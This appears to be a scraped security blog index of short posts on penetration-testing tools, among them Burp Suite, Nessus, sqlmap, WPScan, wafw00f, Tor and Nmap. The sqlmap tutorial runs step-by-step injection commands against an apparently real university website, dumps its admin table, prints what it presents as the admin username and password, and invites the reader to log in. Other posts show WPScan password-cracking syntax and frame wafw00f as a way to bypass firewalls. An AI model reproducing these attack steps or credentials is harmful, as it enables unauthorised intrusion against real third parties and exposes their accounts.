Burpsuite Tutorial

Burp Suite is an integrated platform for attacking web applications. It contains all of the Burp tools with numerous interfaces between them designed to facilitate and speed up the process of attacking an application. All tools share the same robust framework for handling HTTP requests, persistence, authentication, upstream proxies, logging, alerting and extensibility.

Burp Suite allows you to combine manual and automated techniques to enumerate, analyse, scan, attack and exploit web applications. The various Burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.

Link to Download: http://portswigger.net/burp/download.html

Burpsuite is available in free version and pro version

Requirements to run burpsuite

--The burpsuite is developed in Java so for burpsuite to run we require JRE, that is available freely on internet

--Burpsuite

Burpsuite free version is available in Backtrack and Kali also.

Burp acts as a web proxy, and allows you to intercept requests and responses, and then modify them before they’re sent along to the server or client. This is very handy stuff for attacking web applications.

The Burp Suite is made up of tools (descriptions take from the Port Swigger website):

Proxy: Burp Proxy is an interactive HTTP/S proxy server for attacking and testing web applications. It operates as a man-in-the-middle between the end browser and the target web server, and allows the user to intercept, inspect and modify the raw traffic passing in both directions.

Spider: Burp Spider is a tool for mapping web applications. It uses various intelligent techniques to generate a comprehensive inventory of an application’s content and functionality.

Scanner: Burp Scanner is a tool for performing automated discovery of security vulnerabilities in web applications. It is designed to be used by penetration testers, and to fit in closely with your existing techniques and methodologies for performing manual and semi-automated penetration tests of web applications.

Intruder: Burp Intruder is a tool for automating customised attacks against web applications.

Repeater: Burp Repeater is a tool for manually modifying and reissuing individual HTTP requests, and analysing their responses. It is best used in conjunction with the other Burp Suite tools. For example, you can send a request to Repeater from the target site map, from the Burp Proxy browsing history, or from the results of a Burp Intruder attack, and manually adjust the request to fine-tune an attack or probe for vulnerabilities.

Sequencer: Burp Sequencer is a tool for analysing the degree of randomness in an application’s session tokens or other items on whose unpredictability the application depends for its security.

Decoder: Burp Decoder is a simple tool for transforming encoded data into its canonical form, or for transforming raw data into various encoded and hashed forms. It is capable of intelligently recognising several encoding formats using heuristic techniques.

Comparer: Burp Comparer is a simple tool for performing a comparison (a visual “diff”) between any two items of data. In the context of attacking a web application, this requirement will typically arise when you want to quickly identify the differences between two application responses (for example, between two responses received in the course of a Burp Intruder attack, or between responses to a failed login using valid and invalid usernames), or between two application requests (for example, to identify the different request parameters that give rise to different behaviour).

Read more...

Installing Nessus on Backtrack 5R3

Hello Friends,

Today i am showing how to install Nessus on Backtrack 5 R3

First go to the Nessus Website and register by clicking here

the Activation code will be send to your e-mail ID, Now take the Activation code

Open an new terminal in Backtrack 5R3  and type the following command to download the Nessus

apt-get install nessus

after complete download next type this command

root@bt:/opt/nessus/bin/nessus-fetch --register xxxx-xxxx-xxxx-xxxx-xxxx

it will take some time so that the plugins will be updated

Now add an user to the Nessus by using this command,

root@bt:/opt/nessus/sbin/nessus-adduser

now it will ask for username and password,after entering the username and password you have to start the nessus by typing the following command.

root@bt:/etc/init.d/nessusd start

it will start the nessus, now open the browser and type the following command in the URL of the browser

https://localhost:8834/

The nessus will run on the secure channel https and on the port number 8834

Bydefault the nessus will run on port number 8834

after installing you just have to run


Thank you.

Read more...

SQLmap Step By Step Tutorial

Today we will see the step-by-step tutorial of Sqlmap.
Sqlmap is developed in Python and it is available with Backtrack 5 and Backtrack 5 R1 and all versions of Backtrak, Otherwise you can download seperately also from

$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

Sqlmap is is best sql injection tool.

With sqlmap we can know the database name and type of database i.e,Mysql or SqlServer or ........ and we can find the database name and tables related to that database and we can dump the data from the database.
It is totally a database takeover tool

Steps:

1.First we require the vulnerable target and here it is

http://www.hu.edu.pk/viewfaculty.php?id=12

2.Go to Backtrack and type cd /pentest/database/sqlmap

3.Run the sqlmap

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12

-u is the vulnerable url

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 --dbs

or

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 --current-db

if you write as --dbs then it will fetch all the databases in the server

and if you write --current-db then it will fetch only the database related to the current website

we will get the database name

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results --tables

Here after -D we have to give the database name

--tables means we are trying to fetch the tables in the current database

and we will get the table names

after that we have to fetch only the table information which we required

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results -T admin --columns

we will get the names of columns in that table with datatype

 

./sqlmap.py -u http://www.hu.edu.pk/viewfaculty.php?id=12 -D c3results -T admin -C id,passwrd,u_name --dump

now we will get the total information in the table "admin"

After finishing all the process you r having




Database Name : c3results
No of tables :48
Admin Table Name : admin
admin username : 123_admin_123
admin password : 123_hazara_123


Now you are having admin username and admin password , find the Admin Panel and  :)

Read more...

Online tools for Analysing Website

Everyone of us curious to know about the website information like site owner ,earnings etc...
In Ethical Hacking the Information Gathering is the first and basic step to perform.

Here I’m gonna list 4 awesome online tools to study a website thoroughly:

1. How to Find The  Hosting Provider of Any Website?

Before we start a website as a beginner we are very much confused in selecting the hosting provider,in such case we Start analyzing the hosting provider of well established websites. Here is a online tool to do that

Check out :http://www.whoishostingthis.com/

2. How To find The Owner Details Of Any Website

Every one of us are very eager to know the owner of a website (if there is No Author Info) ,Here is a simple tool to find It out

Check out : www.who.is

3. How To Find The value / Earnings Of A website

This Information is provided by many sites ,But i list out the best one (Note: Reports generated by this site is an approximate estimated value )

Check: www.websiteoutlook.com

4. How To Find The Loading Speed Of Any Website

Quick loading websites will results better In SERP ,So Its very important for bloggers to keep an eye on their site speed ,this service is also provided by many sites,but the outstanding one is provided by iwebtools

Check: www.iwebtools.com

Bonus Tool :

How To Compare The Loading Speed Of Your Site With your Competitor’s Site ?

Chekot : http://whichloadsfaster.com/

Read more...

Mantra - Open Source Security Framework

Mantra - Mantra is a collection of hacker tools, add ons and scripts based on firefox .

Firefox is an hacker friendly tool from starting , its rich assets are its addons they only work has an independent tools for hacking.

A group of security professionals integrated all this add ons, scripts and made a framework called mantra.
As of now Mantra is just a security toolkit rather than a full-fledged framework

Some of the features of Mantra

1. Its built on top of the browser - Saves lots of man power and learning curve.
2. It is Cross platform and flexible - It can easily run on Windows, Mac and Linux natively
3. Its open source, so you are free to use it or modify it your own way.

Mantra can be helpful to perform all five phases of attacks like reconnaissance, scanning and enumeration, gaining access, escalation of privileges, maintaining access and covering tracks.

Download

The Mantra framework can be available in Linux and Windows

You will get the download of mantra framework from http://www.getmantra.com/download

**Studied from clubhack

Read more...

WPScan - Wordpress Security Scanner

 Wordpress Security Scanner

WPScan is a vulnerability scanner which checks the security of WordPress installations using a black box approach.

WPScan is written in Ruby

The features of WPScan are :

  It will enumerate the Usernames
  Weak Password Cracking
  Plugin Vulnerability Enumeration
  Version Enumeration
  Vulnerability Enumeration
  etc ........

It can be free downloaded from http://code.google.com/p/wpscan/

OR

It is available in Backtrack 5  /pentest/web/wpscan/

Syntax:
         ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

Read more...

Plecost - Wordpress fingerprint tool

Plecost

A Wordpress finger print tool available in open source with Backtrack 5

Plecost retrieves the information contained on the Web site to be analyzed, and also allows a search on the results indexed by Google.

It bases your analysis from information contained in the files of development included by WordPress and them plugins. The plugins list is generated based on the list of "Most populars" from wordpress.org, and linked with related entries in CVE.mitre.org.

plecost is available at http://code.google.com/p/plecost

the plecost will finger print the plugins and give the corresponding CVE entries also

syntax:

     ./plecost-0.2.2-9-beta.py -i wp_plugin_list.txt http://www.example.com -G

      

Read more...

WafW00f - A Web Application Audit Tool

WAFW00F - Web Application Firewall Detection Tool

WafW00f is written in  phython and is available freely on the net,

the tool is developed By Sandro Gauci && Wendel G. Henrique.

they mentions that Web Application Firewalls (WAFs) :

• can be detected, because they leave several signs
• can be bypassed by changing the attack in order to avoid rules

To help detect and bypass WAFs, they released wafw00f

WAFW00F allows one to identify and fingerprint WAF products protecting a website

Download Link

http://waffit.googlecode.com/svn/trunk/ waffit-read-only

or you can find it in Backtrack 5 R1 version

You can find it in   /pentest/web/waffit/


example 1: /pentest/web/waffit# ./wafw00f.py http://www.example.com

output:

Checking http://www.example.com
Generic Detection results:
No WAF detected by the generic detection

example 2: /pentest/web/waffit# ./wafw00f.py http://www.example2.com

output:

Checking http://www.example2.com
The site http://www.example2.com is behind a Citrix NetScaler

Read more...

Surf Web Anonymously with TOR

What is TOR ?

Tor-proxy is a free proxy-server service that Internet users can use to hide their IP address while surfing the Web. An IP address is a number used to identify computers on the Internet, and for reasons of safety and security, it may sometimes be desirable to hide the address.

What is Vidalia ?

Vidalia is a GUI (graphical user interface) implementation for Tor, It allows the user to start, stop, and view the status of Tor; monitor bandwidth usage; view, filter, and search log messages; and configure some aspects of Tor.

Difference between an Anonymous Proxy and Tor-proxy

Well you will be wondering and saying what is the need of Tor-proxy when we are able to do the same thing using an Anonymous proxy ?. To clear your doubts lets see how an Anonymous proxy and Tor works

Working of an anonymous proxy

In the above example we are connecting to the web server through a proxy server .So a proxy server hides our identity by acting as an intermediary between us and the web server that we are accessing . But what if owner of proxy server starts reviling our identity.So we are not sure on what proxy-server to relay on to stay anonymous

Working of Tor-proxy

Tor actually works on a deeper level dealing with a computer’s SOCKETS directly.I will

not be going to deep into it as most readers will find it very difficult to understand the

explanation .In simple words Tor network uses a distributed network of nodes – of other

Tor users – to re-route all the packets from your network.What this means is – no single link can identify the source and the destination

In the above example the client passes through three different servers or nodes before reaching the actual web server. The path taken by the client is denoted by green arrows

Node 1 Knows the actual origin(client) but not the actual destination (web server)

Node 5 Neither knows the actual origin nor the actual destination.

Node 9 Knows the actual destination but not the actual origin.

Thus no one exactly knows which client is accessing which web server. So it is highly anonymous.

Using Tor and vidalia to surf the web Anonymously :-

1. First download and Install Tor-bundle which includes Tor and vidalia from Here ,to get the password click Here

2. Open Tor-bundle and check all components as shown , follow the on screen instructions to finish instillation process

3. Now Open Vidalia Control Panel from task bar and Click on Start Tor

4. Now open Mozilla Firefox browser,and click on red highlighted Tor Disabled ON which is at the right hand corner of the browser , now it will turn green and say Tor Enabled.

To check weather your behind a proxy go to www.whatismyip.com you can see a different ip address after setting up Tor

Disadvantages of Tor :-

Since it passes through multiple Tor nodes, the Internet connection can be slow. Even with all this, Tor is not very safe. There are potential pitfalls and security threats. Tor by itself does not encrypt the payload , at the exit node .So a sniffer at the exit node can gather all the information. as show

So Unless the application encrypts data using (SSL), we can gather all the information form the exit node using a sniffer

**This post is taken from hackhaholic

Read more...

NMAP Tutorial

I think everyone in the security field known this popular tool, recently evolved into the 5.x series.

Nmap (“Network Mapper”) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and many other characteristics. Nmap runs on most types of computers and both console and graphical versions are available. Nmap is free and open source.

Nmap was originally command line tool that has been developed for only Unix/Linux based operating system but now its windows version is also available and eases to use

Can be used by beginners (-sT) or by pros alike (–packet_trace). A very versatile tool, once you fully understand the results.

For a quick and simple scan use.

$ nmap 192.168.x.x

Starting Nmap 5.21 (http://nmap.org) at 2011-04-10 23:06 PKT

Nmap scan report for 192.168.x.x

Host is up (0.0012s latency).

Not shown: 997 filtered ports

PORT STATE SERVICE

21/tcp open ftp

23/tcp open telnet

80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 10.62 seconds

Nmap - Interesting options

-f fragments packets

-D Launches decoy scans for concealment

-I IDENT Scan – find owners of processes (on UNIX systems)

-b FTP Bounce

Port Scan Types

TCP Connect scan

TCP SYN scan

TCP FIN scan

TCP Xmas Tree scan (FIN, URG, and PUSH)

TCP Null scan

TCP ACK scan

UDP scan

Nmap works on the basic scanning types like:

TCP connect() scanning

TCP SYN scanning

TCP FIN scanning

Fragmentation scanning

TCP reverse ident scanning

FTP bounce attack

UDP ICMP port unreachable scanning

UDP recvfrom() and write() scanning

ICMP echo scanning

Operating system detection or OS fingerprinting is the important part of scanning you should know about the operating system of target machine to launch an available exploit on it. Nmap provides you know about running operating system although you can find it by using banner grabbing but why doing too much job. Use -O for operating system.

$ nmap -O 192.168.x.x

Read more...

Websecurify - Free Web Application Vulnerability Scanner

Websecurify is a powerful web application security testing environment designed from the ground up to provide the best combination of automatic and manual vulnerability testing technologies. Websecurify is an integrated web security testing environment, which can be used to identify vulnerabilities by using advanced browser automation, discovery and fuzzing technologies. The platform is designed to perform automated as well as manual vulnerability tests and it is constantly improved and fine-tuned by a team of world class web application security penetration testers and the feedback from an active open source community.

The built-in vulnerability scanner and analyzation engine is capable of automatically detecting many types of web application vulnerabilities as you proceed with the penetration test. The list of automatically detected vulnerabilities includes:

* SQL Injection
* Local and Remote File Include
* Cross-site Scripting
* Cross-site Request Forgery
* Information Disclosure Problems
* Session Security Problems
* many others including all categories in the OWASP TOP 10

Main Features

Some of the main features of Websecurify include:

* Available for all major platforms (Windows, Mac OS, Linux)
* Simple to use user interface
* Built-in internationalization support
* Easily extensible with the help of add-ons and plug-ins
* Exportable and customizable reports with any level of detail
* Modular and reusable design
* Powerful manual testing tools and helper facilities
* Team sharing support
* Powerful analytical and scanning technology
* Built-in service and support integration
* Scriptable support for JavaScript and Python
* Extensible via many languages including JavaScript, Python, C, C++ and Java

This is an excellent and extremely easy to use tool, I highly recommend giving it a go. You can download it here - http://www.websecurify.com/download

Read more...